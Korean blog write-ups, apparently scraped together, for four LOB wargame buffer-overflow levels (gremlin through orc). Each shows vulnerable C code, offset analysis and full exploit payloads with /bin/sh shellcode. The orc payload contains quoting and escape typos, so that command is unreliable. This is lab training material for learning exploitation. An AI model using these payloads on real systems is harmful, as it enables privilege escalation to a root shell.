1. #include <stdio.h>  
  2. #include <stdlib.h>  
  3.   
  4. extern char **environ;  
  5.   
  6. main(int argc, char *argv[])  
  7. {  
  8.         char buffer[40];  
  9.         int i;  
  10.   
  11.         if(argc < 2){  
  12.                 printf("argv error\n");  
  13.                 exit(0);  
  14.         }  
  15.   
  16.         // egghunter  
  17.         for(i=0; environ[i]; i++)  
  18.                 memset(environ[i], 0, strlen(environ[i]));  
  19.   
  20.         if(argv[1][47] != '\xbf')  
  21.         {  
  22.                 printf("stack is still your friend.\n");  
  23.                 exit(0);  
  24.         }  
  25.   
  26.         strcpy(buffer, argv[1]);  
  27.         printf("%s\n", buffer);  
  28. }  


역시 취약점이 발생하는 부분은 strcpy(buffer, argv[1]); 이부분이다.


소스코드를 보면 알겠지만 환경변수를 이용한 방법은 통하지 않는다.


따라서 argv[2]에 nop과 쉘코드를 박아 리턴주소에 덮어 씌우면 될것 같다.



strcpy함수를 보아 edx에 argv[1]의 값이 저장되어 있을 것이다.


조건에 맞추어 "\xbf"로 buffer를 덮어주고 argv[2]의 값을 확인해보자.



예상대로 argv[1]의 주소이다.


\x90이 시작되는 부분이 argv[2]의 시작주소이고 ret 주소는 넉넉하게 0xbffffc9b로 주도록 하자.


./ord `python -c 'print "A"*44 + "\x74\xfc\xff\xbf"'``python -c 'print "\x90*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\e1\x89\xc2\xb0\x0b\xcd\x80"'`


'pwnable > LOB' 카테고리의 다른 글

LOB cobolt -> goblin  (0) 2017.02.07
LOB gremlin -> cobolt  (0) 2017.02.07
LOB - gate -> gremlin  (0) 2017.02.07
  1. int main()  
  2. {  
  3.     char buffer[16];  
  4.     gets(buffer);  
  5.     printf("%s\n",buffer);  
  6. }  


대놓고 취약점을 준다.



buffer(16) + sfp(4) + ret(4)  나머지는 D로 채웠다.


0x43434343으로 덮인 곳이 ret의 주소이고 이 주소를 덮으면 될 것 같다.


덮을 주소는 적당하게 0xbffffb74를 주도록하자. 


payload

$(python -c 'print "\x90"*20 + "\x74\xfb\xff\xbf" + "\x90"*200 + shellcode';cat) | ./goblin



hackers proof


'pwnable > LOB' 카테고리의 다른 글

LOB goblin -> orc  (0) 2017.02.07
LOB gremlin -> cobolt  (0) 2017.02.07
LOB - gate -> gremlin  (0) 2017.02.07
  1. int main(int argc, char*argv[])  
  2. {  
  3.     char buffer[16];  
  4.     if(argc < 2){  
  5.         printf("argv error\n");  
  6.         exit(0);  
  7.     }  
  8.     strcpy(buffer, argv[1]);  
  9.     printf("%s\n",buffer);  
  10. }  


1번문제와 다른점은 buffer의 사이즈가 작다는 것이다.


두가지 방법으로 풀 수 있는데


첫번째 방법은 argv[2]는 입력 제한이 없으므로 argv[2]의 주소를 ret의 주소로 덮어씌우는 방법이다.

두번째 방법은 환경변수를 이용한 방법인데


첫번째 방법이 간단해보이므로 첫번째 방법을 이용하도록 하겠다.




argv[ ]의 인자는 프로그램 시작과 동시에 전달되므로 


main+3에 브레이크 포인트를 걸고 살펴보자.



r`python -c 'print "\x90"*20 + "BBBB"'``python -c 'print "A"*240'` 


예쁘게 덮이지는 않았지만 그래도 덮인 모습이 눈에 보인다.


buffer(16) + sfp(4)  + ret 이므로


\x42424242 로 덮인 부분이 eip 주소이며 이 부분을 덮어주면 될 것이다


리턴주소는 적당하게 \xc8\xfb\xff\xbf 로 잡아주자.


payload

./cobolt `python -c 'print "\x90"*20 + "\xc8\xfb\xff\xbf"'``python -c 'print "\x90"*200 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



hacking exposed



'pwnable > LOB' 카테고리의 다른 글

LOB goblin -> orc  (0) 2017.02.07
LOB cobolt -> goblin  (0) 2017.02.07
LOB - gate -> gremlin  (0) 2017.02.07
  1. int main(int argc, char*argv[])  
  2. {  
  3.     char buffer[256];  
  4.     if(argc < 2){  
  5.         printf("argv error\n");  
  6.         exit(0);  
  7.     }  
  8.     strcpy(buffer, argv[1]);  
  9.     printf("%s\n",buffer);  
  10. }  


gremlin.c가 보여주는 소스코드이다.


strcpy( buffer, argv[1]) ; 에서 오버플로우 취약점이 발생한다.


사용할 쉘코드는 41byte이며 다음과 같다.

"\x31\xc0\xb0\x31\xcd \x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd \x80"



264byte를 덮어주니 eip가 바뀌면서 Segmentation fault를 내뿜는 모습을 확인할 수 있다.


LOB는 랜덤스택이 적용되지 않는다는 점을 감안하여


buffer(256) + sfp(4) = 260byte 뒤가 바로 ret(eip) 주소일 것이다.



제대로 덮인 것을 확인할 수 있다.


이제 저 스택을 NOP(\x90) 과 쉘코드를 채운 후 리턴주소를 조작하여 쉘을 획득해보자.


"\x90" * 200 + shellcode(41) + "\x90" * 19 + ret주소(적당히 \xe0\xfb\xff\xbf)



hello bof world





'pwnable > LOB' 카테고리의 다른 글

LOB goblin -> orc  (0) 2017.02.07
LOB cobolt -> goblin  (0) 2017.02.07
LOB gremlin -> cobolt  (0) 2017.02.07

+ Recent posts